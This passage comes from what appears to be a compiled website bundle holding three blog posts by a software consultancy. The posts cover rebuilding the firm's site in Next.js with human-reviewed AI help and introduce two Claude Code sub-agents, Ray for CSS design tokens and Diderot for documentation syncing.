1n\nTo help organize and maintain design consistency, Eric used a specialized Claude sub-agent he\'d written specifically for design system work. This custom agent helped coordinate design decisions across the projectâbut that\'s a story for another blog post.\n\n```typescript\n// Our design system introduced:\n- Bento grid layouts for content organization\n- Glassmorphism effects for depth and visual interest\n- Consistent color palette with gradient accents\n- Responsive typography system\n- Reusable component patterns\n```\n\nThe design featured bold gradients, modern card layouts, and smooth animationsâa far cry from our previous site. But we also made sure it was functional, with clear navigation and intuitive user flows.\n\n### Architecture Cleanup: Phases 1-3\n\nSharni led a massive refactoring effort that transformed our codebase from a monolithic structure into a clean, modular architecture:\n\n- **Phase 1**: Separated data from presentation logic\n- **Phase 2**: Extracted the HomePage into modular section components\n- **Phase 3**: Restructured the content layer for maintainability\n\nThis refactoring created a foundation that would support rapid feature development for the rest of the project.\n\n## Week 3-4: Content Migration\n\nOctober 17-20 marked a major milestone: migrating our existing content.\n\n### Blog Posts and Case Studies\n\nWe had years of blog posts on our old site: nearly 100 posts covering everything from technical deep-dives to industry insights. Not all remained relevant, but we migrated about 70 posts that still had value for our audience and showcased our expertise.\n\nJohn built a flexible Markdown-based blog system that could handle:\n\n- Code syntax highlighting with `react-syntax-highlighter`\n- Embedded CodePen demos (for our Archer animation post)\n- Custom CSS and JavaScript injection for complex posts\n- Responsive images with proper aspect ratios\n\nThe most challenging post? <a href="https://www.iinteractive.com/resources/blog/taking-css-animations-to-the-danger-zone" target="_blank" rel="noopener noreferrer">Will\'s "Archer Animation" article</a>, which included complex SVG animations and required custom component injection. But the system we built was flexible enough to handle it.\n\n### The Great Next.js Migration (October 21)\n\nAfter proving our design concepts and content structure with the React Router proof of concept, it was time to build for production. We needed **static site generation** for optimal SEO and performance. A marketing site doesn\'t need client-side routing and server costs.\n\nEric led an intense one-day migration from React Router to **Next.js 15 with static export**. Looking at the commit history for October 21, you can see the intensity:\n\n```\n16:23 - Initialize Next.js migration with configuration files\n16:29 - Create Next.js layouts and initial pages\n16:37 - Successfully build Next.js with static HTML generation\n16:54 - Migrate complete HomePage with all sections\n17:59 - Complete migration with blog posts and case studies\n18:02 - Remove old React Router and Vite files\n```\n\nIn less than 2 hours, Eric transformed the entire application architecture. This wasn\'t just a framework swap. We completely changed how the site generated, routed, and deployed.\n\nThis is where having Claude Code as an assistant proved valuable. Rather than manually converting dozens of components from React Router\'s `Link` and `useRouter` to Next.js equivalents one by one, Eric used Claude Code to help:\n\n1. Identify all the routing patterns across components\n2. Apply systematic updates to imports and component usage\n3. Verify the changes were consistent\n\nBut Eric designed the migration strategy, reviewed every change, and ensured nothing broke in the process. The tool accelerated the mechanical work; the human made the decisions and owned the outcome.\n\n## Week 5-6: Polish and Refinement\n\n### Tailwind CSS v4 Migration\n\nThat same evening (October 21), we tackled another major upgrade: migrating from Tailwind CDN to **Tailwind CSS v4** with build-time compilation.\n\nThe new approach used CSS-based configuration with the `@theme` directive in `globals.css`
1:\n\n```css\n@theme {\n --color-infinity-blue: #0066cc;\n --color-teal-500: #14b8a6;\n /* Custom shadows, animations, and more... */\n}\n```\n\nThis gave us better performance (no CDN dependency), more flexibility (custom design tokens), and faster build times.\n\n### The Little Things That Matter\n\nOctober saw a flurry of UX improvements:\n\n- **Testimonials carousel** with real client reviews (PR #58)\n- **Rotating buzzwords** in the hero section: "Best Practice," "technology," "AI," and more (PR #63)\n- **Client logo carousel** featuring 30+ client logos (PR #69)\n- **Form integration** with Formspree for contact submissions (PR #66)\n- **FiTT section** for our staff augmentation service with a beautiful progressive timeline (PR #62)\n\nEach improvement was small, but together they transformed the site from functional to delightful.\n\n## Week 7-8: Blog Overhaul and Tooling\n\n### Blog System 2.0\n\nIn early November, John completely overhauled the blog system (PR #87, #106):\n\n**Before:**\n\n```typescript\n// Loosely typed, inconsistent properties\nexport const myPost = {\n id: "1",\n author: "John",\n date: "2025-11-01",\n type: "article",\n gradient: "purple"\n // ... many more fields\n};\n```\n\n**After:**\n\n```typescript\nimport { BlogPost } from "@/types/types";\n\nexport const myPost: BlogPost = {\n slug: "my-post",\n authors: ["John Bowser"],\n publishDate: new Date("2025-11-01"),\n category: "Development",\n tags: ["Next.js", "React"],\n color: "blue",\n content\n // Strongly typed, validated at build time\n};\n```\n\nThis introduced several improvements:\n\n- Strong TypeScript typing for all blog metadata\n- Constants for categories and tags (no more typos)\n- Support for injected components and custom CSS\n- A `BlogPost` type that enforces consistency\n\nWe even added an npm script to bootstrap new blog posts:\n\n```bash\nnpm run blog-post "My New Post Title"\n```\n\nThis generates the folder structure, template files, and updates the indexâsaving precious time.\n\n### Code Quality Tooling\n\nJohn also established comprehensive code quality tooling (PR #96, #113, #126):\n\n- **ESLint 9+** with flat config and TypeScript rules\n- **Prettier 3.6+** for consistent formatting\n- **Husky** with pre-commit hooks (lint + format check)\n- **Pre-push hooks** that run the full build to catch errors\n- **VSCode settings** for consistent editor behavior\n\nNow, broken code can\'t even get committed, let alone pushed. The build runs before every push, ensuring we never break production.\n\n## How We Used AI Tools as Our Assistants\n\nAs seasoned developers, we\'ve learned that AI tools are most effective when they amplify human expertise rather than replace it. Here\'s how we used Claude Code and Cursor IDE throughout this project, and what we didn\'t use them for:\n\n### What We Owned (100% Human)\n\n- **All architectural decisions**: Next.js vs. other frameworks, static vs. SSR, content structure\n- **Design system**: Visual language, component patterns, UX flows\n- **Code review and quality**: We reviewed every line, every PR, every change\n- **Problem-solving**: When things broke (and they did), we debugged and fixed them\n- **Business logic**: How the site works, what it does, how content is organized\n\n### How Claude Code Helped Us Move Faster\n\n**1. Mechanical Refactoring**\n\nWhen we needed to update 50+ components to use a new routing pattern, we didn\'t manually edit each file. We used Claude Code to apply the systematic changes while we focused on the strategy and verification. The pattern was ours; the tool just executed it consistently.\n\n**2. Boilerplate Generation**\n\nWriting TypeScript interfaces, prop types, and repetitive component structures? Claude Code handled the mechanical parts while we focused on the logic and behavior that actually mattered.\n\n**3. Documentation Assistance**\n\nWe wrote the documentation, but Claude Code helped format it, catch inconsistencies, and ensure completeness. The knowledge is ours; the tool helped us express it clearly.\n\n**4. Code Review Augmentation**\n\nOur GitHub Actions gave us an extra set of eyes on PRs, catching potential TypeScript errors, accessibility issues, or security concerns. But we still did thorough human reviews on every change.\n\n**5. Content Migration Support**\n\nConverting nearly 100 blog posts from one format to another (and curating down to about 70 relevant posts) involved a lot of pattern matching and formatting. Claude Code and Cursor helped with the mechanical parts while we handled the content decisions and quality checks.\n\n### The Human-First Principle\n\nEvery line of code in this project was written, reviewed, and owned by humans. Claude Code and Cursor accelerated our work, but they didn\'t make our decisions or write our software. We\'re experienced developers using powerful tools, not fresh developers relying on AI to do our thinking for us.\
1n\nThis distinction matters. Our clients hire us for our expertise, judgment, and ability to solve complex problems. AI tools like Claude Code and Cursor make us more efficient, but they don\'t replace the years of experience we bring to every project.\n\n## The Numbers\n\nBy the numbers, here\'s what we delivered:\n\n- **200+ static pages** generated at build time\n- **~70 blog posts** migrated and reformatted from nearly 100 original posts\n- **5 case studies** with full detail views\n- **6 service pages** with dynamic content\n- **129 redirect pages** preserving old URLs for SEO\n- **130+ commits** across the team\n- **130+ pull requests** reviewed and merged\n\nAll built by a team of 3 developers in about 30 days of work time.\n\n## Technical Highlights\n\n### Static Site Generation\n\nEvery page is pre-rendered at build time using Next.js\'s `generateStaticParams()`:\n\n```typescript\nexport async function generateStaticParams() {\n return blogPostsSortedByDate.map((post) => ({\n slug: post.slug\n }));\n}\n```\n\nThis means:\n\n- **Zero server costs** for dynamic rendering\n- **Instant page loads**: everything\'s already HTML\n- **Perfect SEO**: search engines see full HTML immediately\n- **Edge deployment**: can serve from CDN anywhere\n\n### Developer Experience\n\nWe optimized for maintainability:\n\n```typescript\n// Adding a new blog post is as simple as:\nnpm run blog-post "My New Post Title"\n\n// Then edit two files:\n// 1. index.ts (metadata)\n// 2. content.md (actual content)\n```\n\nThe build fails if you forget required fields or use invalid categories/tags. TypeScript catches errors before they reach production.\n\n### SEO and Performance\n\nWe implemented:\n\n- **Open Graph tags** for social sharing\n- **Twitter Card metadata** for rich previews\n- **JSON-LD structured data** for search engines\n- **Proper semantic HTML** throughout\n- **Fast load times** thanks to static generation\n\n## Our Methodologies, Applied to Our Own Project\n\n### 1. **Proof of Concept, Then Commit**\n\nStarting with a React Router proof of concept let us validate our design and content structure quickly. When it was time to commit to a production architecture, we made an informed decision (Next.js with static generation) based on what we\'d learned. The one-day migration proved that evolving your architecture isn\'t necessarily expensive if you plan for it.\n\n### 2. **Invest in Tooling Early**\n\nThe time John spent setting up ESLint, Prettier, and Husky paid dividends. It\'s much easier to maintain code quality from day one than to retrofit it later.\n\n### 3. **Type Safety is Worth It**\n\nTypeScript strict mode catches potential bugs before they reach production. The upfront cost of typing everything properly is far less than debugging runtime errors after the fact.\n\n### 4. **AI as an Accelerator**\n\nUsed correctly, AI tools like Claude Code can significantly accelerate development without compromising quality. The key is knowing when to use them for mechanical tasks and when to rely on human expertise for decisions and problem-solving.\n\n### 5. **Small, Focused PRs**\n\nMost of our PRs were focused on a single feature or fix. This made reviews faster and reduced merge conflicts. It also meant we could ship improvements continuously.\n\n## What\'s Next?\n\nThe site is live, but we\'re not done. We\'re already planning:\n\n- **Blog post series** sharing our technical expertise\n- **Additional case studies** showcasing client work\n- **Continuous content updates** as we grow\n- **A Cohesive Social Media Presence** to amplify our reach\n\n## Our Approach to AI-Assisted Development\n\nIf you\'re considering using AI tools in your development workflow, here\'s our advice:\n\n1. **Use AI for acceleration, not abdication**: Let it handle mechanical tasks while you focus on architecture and problem-solving\n2. **Review everything**: Never merge code you haven\'t understood and verified yourself\n3. **Own your decisions**: The AI can suggest; you decide. Always.\n4. **Invest in your expertise first**: AI tools are multipliers. If you don\'t have strong fundamentals, the tool won\'t help you.\n5. **Set clear boundaries**: Know what you\'ll use AI for and what requires pure human judgment\n\nThe combination of experienced developers and smart tooling is powerful. But the emphasis is on "experienced developers" first, "smart tooling" second. We\'ll be expanding on our human-first approach to using AI tools here in the coming weeks!\n\n---\n\n_The site you\'re reading this on? Built in 30 days of work time by 3 experienced developers juggling client projects. No AI abdication, no cutting cornersâjust seasoned professionals who know how to leverage the right tools at the right time to deliver quality quickly._\n\n**Want to build something extraordinary with a team that owns every line of code?** [Let\'s talk â](/contact)\n',icon:x.A,color:"blue"};var e4=t(9926);let e9={slug:"meet-ray-the-ai-assistant-that-turns-our-css-into-reusable-design-systems",title:"Meet Ray: The AI Assistant That Tur
1ns Our CSS Into Reusable Design Systems",excerpt:"Ray doesn't replace our designersâshe organizes our CSS chaos into systematic design tokens and contextually appropriate defaults. Here's how a specialized Claude Code sub-agent helps developers build better starting points for design work.",authors:["Eric Wagoner"],publishDate:new Date("2025-11-25"),category:"Development",tags:["AI","CSS","Documentation"],readTime:"8 min read",content:"If you've ever inherited a codebase with CSS like this, you know the pain:\n\n```css\n.button {\n background: #3b82f6;\n padding: 12px 24px;\n border-radius: 6px;\n}\n\n.card {\n background: #3a82f5; /* close enough to button color? */\n padding: 16px;\n border-radius: 8px; /* or was it 6px? */\n}\n\n.header {\n background: linear-gradient(to right, #3b7cf6, #1e40af);\n /* completely different blue */\n}\n```\n\nMagic numbers everywhere. Inconsistent spacing. Three shades of \"blue\" that should probably be the same color. No system, no tokens, just CSS written one component at a time.\n\nThis is the reality of most projects. And it's not because developers are careless. It's because we're building features, not design systems. We're solving business problems, not organizing color palettes.\n\n## The Problem: We're Not Designers (And That's OK)\n\n<a href=\"https://www.iinteractive.com/resources/blog/how-we-built-this-in-30-days\" target=\"_blank\" rel=\"noopener noreferrer\">When we built this website</a>, we knew we needed it to look professional and trustworthy. We have 25+ years of experience delivering enterprise software. Our site needed to reflect that expertise.\n\nBut here's the thing: **we're developers, not designers.** We can write React components all day. We can architect databases and optimize queries. But asking us to create a cohesive visual design system from scratch? That's not our strength.\n\nThe traditional solutions all have problems:\n\n- **Hire a designer for every project**: Expensive and sometimes unavailable on our timeline\n- **Use a generic template**: Doesn't reflect our unique brand or client needs\n- **Copy-paste from previous projects**: Inconsistent and requires extensive manual tweaking\n- **Wing it ourselves**: Results in the CSS chaos shown above\n\nWe needed a better approach.\n\n## Enter Ray: The CSS Organization Assistant\n\nRay is a specialized Claude Code sub-agent (named after pioneering designer Ray Eames) that we created to solve a specific problem: **turning scattered CSS into systematic design tokens.**\n\nLet's be crystal clear about what Ray does and doesn't do:\n\n**Ray Does NOT:**\n\n- Replace professional designers\n- Create original brand identities\n- Make strategic design decisions\n- Handle complex animation or motion design\n\n**Ray DOES:**\n\n- Extract CSS styles into cohesive design token systems\n- Provide contextually appropriate defaults based on the project domain\n- Create professional starting points for client demos\n- Make it easier to integrate actual designer work when they join the project\n- Organize our CSS so it's maintainable and consistent\n\nThink of Ray as a CSS librarian, not a CSS artist. She takes the chaos and creates order.\n\n## How Ray Transformed Our Website\n\n<a href=\"https://www.iinteractive.com/resources/blog/how-we-built-this-in-30-days\" target=\"_blank\" rel=\"noopener noreferrer\">When we rebuilt this site</a>, Ray helped us establish a systematic approach to design from day one. Here's what that looked like in practice:\n\n### Before Ray (Early Prototype)\n\n```css\n/* Ad-hoc styles scattered across components */\n.service-card {\n background: white;\n box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);\n padding: 20px;\n}\n\n.hero-section {\n background: linear-gradient(blue, lightblue);\n padding: 60px 20px;\n}\n```\n\n### After Ray (Systematic Tokens)\n\n```css\n/* Design tokens defined in globals.css */\n@theme {\n --color-infinity-blue: #0066cc;\n --color-teal-500: #14b8a6;\n --shadow-card: 0 4px 6px rgba(0, 0, 0, 0.1);\n --spacing-card: 1.5rem;\n --radius-default: 0.5rem;\n}\n\n/* Components use tokens */\n.service-card {\n background: var(--color-surface);\n box-shadow: var(--shadow-card);\n padding: var(--spacing-card);\n border-radius: var(--radius-default);\n}\n```\n\nThe difference? **Consistency and maintainability.** When we later needed to adjust spacing across the entire site, we changed one token. When a designer eventually reviews our work, they have a clear system to work with, not hundreds of magic numbers to decode.\n\n## Real-World Example: The Volunteer App Demo\n\nTo demonstrate Ray's adaptability, I built a simple volunteer signup application and asked Ray to transform it for three completely different organizations:\n\n###
11. Tiki Bar Social Club\n\nRay created:\n\n- Tropical color palette with vibrant gradients\n- Bamboo texture effects\n- Playful animations (flickering flames, hover effects)\n- Fun, whimsical tone while maintaining readability\n\n**The key:** Ray didn't design the Tiki bar brand. She organized the CSS into tokens like `--color-tropical-sunset` and `--animation-flame-flicker` that made the system maintainable.\n\n\n_Ray transformed the volunteer app with teal/turquoise branding, textured backgrounds, and a fun yet professional aesthetic for the Tiki Bar Social Club_\n\n### 2. Church Funeral Support Committee\n\nRay adapted to:\n\n- Muted, respectful color scheme\n- Subtle shadows and clean typography\n- Minimal animations\n- Dignified, peaceful aesthetic\n\n**Same underlying structure,** completely different expression through design tokens.\n\n### 3. Corporate Office Party Planning\n\nRay shifted to:\n\n- Bright, energetic colors\n- Festive animations\n- Professional fun (not juvenile)\n- Party-themed token naming\n\n\n_The same app redesigned with vibrant rainbow colors, playful styling, and festive energy for the Corporate Office Party Planning Committee_\n\nThree wildly different aesthetics. One systematic approach to organizing CSS.\n\n**Note:** These transformations were generated during an internal demo with a single prompt and no revisions. They're not polished client deliverables, but they demonstrate Ray's ability to quickly create contextually appropriate design systems for prototyping and initial development.\n\n## Why This Matters for Designer Handoffs\n\nHere's where Ray's organizational work really pays off: **when an actual designer joins the project.**\n\nInstead of handing them a mess of scattered styles, we give them:\n\n```css\n/* Clear, documented design token system */\n:root {\n /* Brand Colors */\n --color-primary: #3b82f6;\n --color-secondary: #8b5cf6;\n\n /* Spacing Scale */\n --space-xs: 0.25rem;\n --space-sm: 0.5rem;\n --space-md: 1rem;\n --space-lg: 1.5rem;\n --space-xl: 2rem;\n\n /* Typography Scale */\n --font-size-sm: 0.875rem;\n --font-size-base: 1rem;\n --font-size-lg: 1.125rem;\n --font-size-xl: 1.25rem;\n}\n```\n\nThe designer can immediately see:\n\n1. What the current system looks like\n2. Where colors and spacing are used\n3. What needs to change to match their vision\n4. How to make systematic updates\n\n**They're not starting from zero.** They're refining an existing system. And that's infinitely faster than reverse-engineering CSS chaos.\n\n## When You DO Need a Real Designer\n\nRay is not a designer replacement. Here's when you absolutely need to bring in professional design expertise:\n\n- **Brand creation**: Building a visual identity from scratch\n- **Complex user research**: Understanding user needs and behaviors\n- **Strategic design decisions**: Choosing between competing approaches\n- **Advanced motion design**: Complex animations and transitions\n- **Accessibility audits**: Ensuring WCAG compliance beyond basic checks\n- **Print and marketing materials**: Multi-channel brand expression\n\nRay helps developers **between** design engagements. She helps us:\n\n- Build prototypes quickly\n- Maintain consistency during development\n- Prepare for designer handoffs\n- Create demo-ready applications\n\nBut she doesn't replace the strategic thinking and creative vision that professional designers bring.\n\n## How Ray Works: Claude Code Sub-Agents\n\nRay is what Claude Code calls a \"sub-agent.\" Here's the simple explanation:\n\n1. **Configuration File**: Ray lives in `.claude/agents/ray.md` in our repository\n2. **Specialized Context**: Ray has her own \"personality\" focused on systematic design thinking\n3. **Tool Access**: Ray can read files, write CSS, and verify results\n4. **Invocation**: We ask Claude Code to \"consult with Ray\" on design tasks\n5. **Execution**: Ray analyzes the project and creates organized, systematic CSS\n\nThe magic isn't that Ray \"knows design.\" The magic is that Ray **knows how to organize CSS into maintainable systems** based on the project context.\n\nFor our website, Ray's configuration includes:\n\n- Our brand colors (#a5e1fa light blue, #052858 dark blue)\n- Our typography (Lato Bold for \"Infinity\", Lato Regular for \"Interactive\")\n- Our design philosophy (trust-building, professional, modern)\n- Our component patterns (cards, hero sections, CTAs)\n\nFor a farmers market app, Ray's configuration is completely different:\n\n- Earthy, organic color palettes\n- Photography-forward layouts\n- Mobile-first considerations\n- Community-focused design language\n\n**Same agent, different c
1onfiguration, systematically organized results.**\n\n## Download Ray's Configuration\n\nWant to see exactly how Ray is configured for this website? We're sharing the actual configuration file we use in this project.\n\nHere's what the configuration looks like (excerpt):\n\n```yaml\n---\nname: ray\ndescription: |\n Use this agent to create sophisticated, trust-building visual designs\n for Infinity Interactive's website redesign. Ray specializes in creating\n professional yet approachable interfaces that convey 25+ years of experience\n while embracing modern AI-driven innovation.\n\n IMPORTANT: Ray ensures visual consistency across all pages while making\n the company appear substantial, experienced, and capable of enterprise-level\n engagements.\n\n Examples:\n - \"Use ray to design a compelling hero section that immediately builds trust\"\n - \"Use ray to create sophisticated service cards that explain complex offerings\"\n - \"Use ray to design an elegant case study layout that showcases results\"\n\n The agent will:\n 1. Audit existing visual design and competitor benchmarks\n 2. Create systematic, reusable components that convey expertise and innovation\n 3. Use official brand colors (#a5e1fa light blue, #052858 dark blue)\n 4. Ensure accessibility and responsive behavior across all devices\n 5. Optimize for conversion while maintaining sophistication\n 6. Balance \"established company\" gravitas with \"modern innovation\" energy\n 7. Maintain consistency across all pages using Next.js component patterns\n---\n\n# Ray - Visual Design & Frontend Advisor for Infinity Interactive\n\n## Agent Description\nRay is a specialized agent focused on visual design and frontend implementation\nfor Infinity Interactive's comprehensive website redesign. Named after the\nlegendary designer Ray Eames, this agent champions the principle that great\nB2B software company websites must balance authority with approachability,\ndepth with clarity, and heritage with innovation.\n\n## Core Responsibilities\n- Component Design System\n- Visual Hierarchy\n- Brand Expression\n- Conversion Optimization\n- Content Presentation\n\n## Personality and Voice\n- Authoritative: Design that commands respect\n- Approachable: Never intimidating or cold\n- Innovative: Modern without being trendy\n- Clear: Complex ideas made simple\n- Substantial: Depth and richness without clutter\n```\n\nThe full configuration includes detailed brand guidelines, transformation examples, and specific design principles that guide Ray's work on our site.\n\n**[Download the complete Ray configuration â](/content/blog-post-assets/meet-ray-the-ai-assistant-that-turns-our-css-into-reusable-design-systems/ray-agent.md)**\n\nYou can use this as a template for your own projects. Just update the brand colors, typography, and design philosophy to match your needs.\n\n## Getting Started With Ray\n\nWant to try this approach on your own projects? Here's how we do it:\n\n### 1. Define Your Core Brand Elements\n\n- Primary colors\n- Typography choices\n- Spacing preferences\n- Brand personality\n\n### 2. Create Ray's Configuration\n\n- Store in `.claude/agents/ray.md`\n- Include brand guidelines\n- Define design principles\n- Add example transformations\n\n### 3. Use Ray for CSS Organization\n\n- Ask Ray to audit existing styles\n- Have Ray extract design tokens\n- Let Ray create systematic naming conventions\n- Review and adjust the results\n\n### 4. Iterate and Refine\n\n- Build robustness through use\n- Save successful patterns\n- Document what works\n\nThe configuration file is portable. We can reuse Ray across projects, adjusting her context for each client's needs.\n\n## The Bottom Line\n\nRay doesn't replace designers. She helps developers **be better at working with designers** (or without them, when necessary).\n\nBy organizing CSS into systematic design tokens and providing contextually appropriate defaults, Ray:\n\n- Saves us hours of manual CSS organization\n- Creates consistency across our applications\n- Provides professional starting points for client demos\n- Makes designer handoffs smoother and faster\n- Keeps our codebase maintainable\n\n<a href=\"https://www.iinteractive.com/resources/blog/how-we-built-this-in-30-days\" target=\"_blank\" rel=\"noopener noreferrer\">When we built this website in 30 days of work time</a>, Ray was instrumental in maintaining design consistency across 200+ static pages. Every color, every spacing value, every shadow follows a
1system. And when we eventually bring in a designer to refine our brand expression, they'll have a solid foundation to build on.\n\nThat's the power of specialized AI assistance: not replacing human expertise, but making human expertise more effective.\n\n---\n\n**Want to build better starting points for your design work?** Our team specializes in creating systematic, maintainable applications that designers love to work with. [Let's talk â](/contact)\n",icon:e4.A,color:"purple"},ne={slug:"meet-diderot-the-ai-assistant-that-keeps-our-documentation-in-perfect-sync",title:"Meet Diderot: The AI Assistant That Keeps Our Documentation in Perfect Sync",excerpt:"Meet Diderot, a specialized AI agent that helps developers keep documentation synchronized with code changes. Learn how to configure this documentation assistant for different project types and see real-world examples of keeping wikis, API docs, and runbooks up to date.",authors:["Eric Wagoner"],publishDate:new Date("2025-12-09"),category:"Development",tags:["AI","Automation","Communication","Documentation"],readTime:"8 min read",content:'If you\'ve ever looked at project documentation that\'s supposed to explain how something works, you know the sinking feeling:\n\n```markdown\n# Setup Instructions - Last Updated: Unknown\n\nTo configure the authentication system:\n\n1. Update config.json with your API keys\n2. Run the setup script\n3. Restart the application\n\nFor database migrations, see the Migration Guide (link broken)\n```\n\nMeanwhile, the actual setup process has evolved:\n\n- `config.json` was replaced by environment variables six months ago\n- The setup script now has three required flags that aren\'t mentioned\n- The database migration guide moved to a different wiki page\n- Two critical troubleshooting steps are missing entirely\n\n**Nobody updated the documentation. And nobody realized it was wrong until a new developer spent three hours hitting their head against the wall.**\n\nThis is the reality of most software projects, and is often the first thing we run in to when coming into a new project. It\'s not that developers don\'t care about documentation. It\'s that when in the thick of building features, fixing bugs, and meeting deadlines, documentation updates always seem to be pushed to "next sprint."\n\n## The Problem: Documentation vs. Deliverables\n\nDocumentation drift is an industry-wide challenge. When you\'re brought in to solve urgent business problems such as scaling a failing system, fixing critical bugs, and delivering overdue features, documentation updates compete with immediate deliverables.\n\nAnd when you\'re billing by the hour, it\'s a hard conversation: "We should spend time fixing gaps in the existing docs" versus "We should ship the feature your customers are waiting for."\n\nEven with the best intentions, keeping documentation synchronized with a constantly evolving codebase requires constant vigilance:\n\n- **Code changes faster than docs**: Three PRs merged today, each changing how something works\n- **Context evaporates quickly**: Why did we change that API signature three weeks ago?\n- **Related updates get missed**: Updating the API docs but forgetting to update the integration guide\n- **Examples go stale**: Sample code that no longer compiles\n- **Screenshots become outdated**: The UI changed but the documentation images didn\'t\n\nThe traditional solutions all have problems:\n\n- **Dedicated technical writers**: Expensive and not always available\n- **Docs-as-code approaches**: Still require developers to write the updates manually\n- **Auto-generated docs**: Only cover API signatures, missing context and usage\n- **Quarterly documentation sprints**: Always playing catch-up\n- **"Documentation is code comments"**: Helps developers, but not users or stakeholders\n\nWe needed a better approach that made the most of our modern tools and workflows.\n\n## Enter Diderot: The Documentation Assistant\n\nDiderot is a specialized Claude Code sub-agent (named after Denis Diderot, the 18th-century philosopher who edited the Encyclop\xe9die) that we created to solve a specific problem: **helping developers keep documentation synchronized without the tedious manual work.**\n\nLet\'s be crystal clear about what Diderot does and doesn\'t do:\n\n**Diderot Does NOT:**\n\n- Replace technical writers\n- Create documentation strategies\n- Make decisions about what to document\n- Handle user research or information architecture\n- Write marketing content\n\n**Diderot DOES:**\n\n- Read code changes and understand what happened\n- Update existing documentation with accurate information\n- Generate comprehensive API documentation with examples\n- Maintain cross-references between related sections\n- Draft release notes based on recent changes\n- Keep documentation formatting consistent\n\nThink of Diderot as a documentation assistant, not a technical writer. He takes code changes and translates them into documentation updates.\
1n\n\n_Denis Diderot (1713-1784), chief editor of the Encyclop\xe9die, the first comprehensive encyclopedia. Our documentation agent is named in his honor._\n\n## How Diderot Works: Claude Code Sub-Agents\n\nDiderot is what Claude Code calls a "sub-agent." Here\'s how it works:\n\n1. **Configuration File**: Diderot lives in `.claude/agents/diderot.md` in your repository\n2. **Specialized Context**: Diderot has project-specific knowledge about your architecture and documentation structure\n3. **Tool Access**: Diderot can read code, search documentation, and update wiki pages\n4. **Invocation**: You ask Claude Code to "use diderot to update documentation"\n5. **Execution**: Diderot analyzes changes and systematically updates documentation\n\nThe magic isn\'t that Diderot "knows" your project. The magic is that Diderot **knows how to analyze code changes and translate them into clear documentation** based on the project context you provide.\n\n## Diderot\'s Adaptability: Same Agent, Different Projects\n\nJust like our design agent Ray adapts to different visual contexts, Diderot adapts to different documentation needs. The agent configuration changes completely based on the project.\n\n### Example 1: Enterprise SaaS Platform\n\nFor a multi-tenant SaaS application with complex APIs:\n\n```markdown\n# Diderot Configuration - Enterprise SaaS\n\n## Project Context\n\n- **Type**: Multi-tenant SaaS platform\n- **Documentation Platform**: Confluence\n- **Primary Audiences**:\n - Developer integrators (API docs)\n - System administrators (deployment guides)\n - End users (help articles)\n\n## Documentation Standards\n\n- OpenAPI specs for all REST endpoints\n- Sample code in JavaScript, Python, and cURL\n- Response examples for success AND error cases\n- Migration guides for breaking changes\n- Glossary of domain-specific terms\n\n## Critical Rules\n\n- ALWAYS include authentication examples\n- Document rate limits and pagination\n- Add "Last Updated" timestamps\n- Link related endpoints\n- Include troubleshooting sections\n```\n\nDiderot configured for this project:\n\n- Focuses on API completeness and accuracy\n- Generates code samples in multiple languages\n- Emphasizes error handling and edge cases\n- Maintains strict versioning in documentation\n\n### Example 2: Internal DevOps Tools\n\nFor a suite of internal automation scripts and tools:\n\n```markdown\n# Diderot Configuration - DevOps Tools\n\n## Project Context\n\n- **Type**: Internal automation tooling\n- **Documentation Platform**: GitHub Wiki\n- **Primary Audiences**:\n - DevOps team members\n - On-call engineers\n - New hires\n\n## Documentation Standards\n\n- Runbook format for operational procedures\n- "How do I..." problem-solution structure\n- CLI command examples with expected output\n- Troubleshooting decision trees\n- Links to relevant monitoring dashboards\n\n## Critical Rules\n\n- Focus on "how to fix" not just "how it works"\n- Include copy-pasteable commands\n- Document common failure modes\n- Add links to Slack channels for help\n- Keep examples up to date with current infrastru
1cture\n```\n\nDiderot configured for this project:\n\n- Prioritizes operational clarity over technical depth\n- Creates runbook-style documentation\n- Focuses on troubleshooting and common scenarios\n- Uses informal, team-oriented language\n\n### Example 3: Open Source Library\n\nFor a JavaScript library published to npm:\n\n```markdown\n# Diderot Configuration - OSS Library\n\n## Project Context\n\n- **Type**: Open source npm package\n- **Documentation Platform**: README + docs site\n- **Primary Audiences**:\n - Library users (integration examples)\n - Contributors (architecture docs)\n\n## Documentation Standards\n\n- Getting started guide with installation\n- API reference with TypeScript types\n- Migration guides between major versions\n- Contributing guidelines\n- Real-world usage examples\n\n## Critical Rules\n\n- Document breaking changes prominently\n- Include CodeSandbox examples\n- Show before/after for migrations\n- Link to TypeScript definitions\n- Add badges for build status, coverage\n```\n\nDiderot configured for this project:\n\n- Emphasizes ease of adoption\n- Focuses on examples and quick wins\n- Documents breaking changes clearly\n- Maintains changelog rigorously\n\n**Same agent, different configuration, contextually appropriate documentation.**\n\n## Real-World Example: Keeping Confluence Synchronized\n\nHere\'s one way we use Diderot on client projects: automatically keeping Confluence documentation synchronized with code changes.\n\nWe\'re currently using this on a real estate management platform where code changes daily. Before Diderot, on a project like this, developers would spend 2-3 hours every couple weeks crawling through git logs trying to remember what changed. After Diderot, it takes 15 minutes each release cycle.\n\nThe full technical implementation, including GitHub Actions, change detection scripts, and the Atlassian MCP integration, is complex enough that we\'re saving it for a dedicated deep-dive post. But here\'s the basic flow:\n\n1. Developers merge PRs with descriptive commit messages\n2. A script analyzes what changed since the last documentation sync\n3. Developer invokes Diderot: `claude code "Use diderot to sync documentation"`\n4. Diderot reads the code changes, updates Confluence pages, maintains cross-references\n5. Developer reviews and confirms the updates\n\n**The result**: Documentation that\'s never more than a week out of date, with comprehensive API references that developers actually use while coding and user guides that are always up to date with the latest features.\n\n**Stay tuned for a deep-dive post** where we\'ll share the complete automation setup, including the change detection logic, GitHub Actions workflow, and how to configure the Atlassian MCP server.\n\n## When You DO Need a Technical Writer\n\nDiderot is not a technical writer replacement. Here\'s when you absolutely need professional technical writing expertise:\n\n- **Documentation strategy**: What to document and for whom\n- **Information architecture**: Organizing content for discoverability\n- **User research**: Understanding what users actually need\n- **Tutorial creation**: Teaching users how to accomplish complex goals\n- **Style guide development**: Establishing voice, tone, and standards\n- **Accessibility compliance**: Ensuring documentation meets WCAG standards\n\nDiderot helps developers **between** technical writer engagements. He helps us:\n\n- Keep existing documentation synchronized with code\n- **Generate reference documentation that technical writers can polish** - Instead of starting from scratch, technical writers receive comprehensive docs, complete with examples and context, ready to refine for style and clarity\n- Maintain consistency during active development\n- **Draft release notes that product managers can refine** - Product managers get detailed, accurate summaries of what changed, which they can transform into customer-facing announcements without hunting through git logs\n- Provide accurate information for support teams\n\nBut he doesn\'t replace the strategic thinking and user-centered design that professional technical writers bring.\n\n## Configuration Example: Setting Up Diderot\n\nWant to use Diderot on your own 